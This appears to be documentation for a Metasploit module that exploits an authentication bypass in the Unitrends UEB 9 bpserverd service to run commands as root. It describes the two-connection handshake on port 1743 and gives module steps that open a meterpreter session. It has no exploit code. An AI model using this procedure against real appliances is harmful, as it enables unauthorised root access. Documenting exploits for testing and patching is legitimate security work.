Vulnerable Application

Unitrends UEB 9 bpserverd authentication bypass RCE

This exploit uses roughly the same process to gain root execution as does the apache user on the Unitrends appliance. The process is something like this:

1. Connect to xinetd process (it's usually running on port 1743)
2. This process will send something like: ?A,Connect36092
3. Initiate a second connection to the port specified in the packet from xinetd (36092 in this example)
4. send a specially crafted packet to xinetd, containing the command to be executed as root
5. Receive command output from the connection to port 36092
6. Close both connections

Verification Steps

1. use exploit/linux/misc/ueb9_bpserverd
2. set lhost [IP]
3. set rhost [IP]
4. exploit
5. A meterpreter session should have been opened successfully

Scenarios
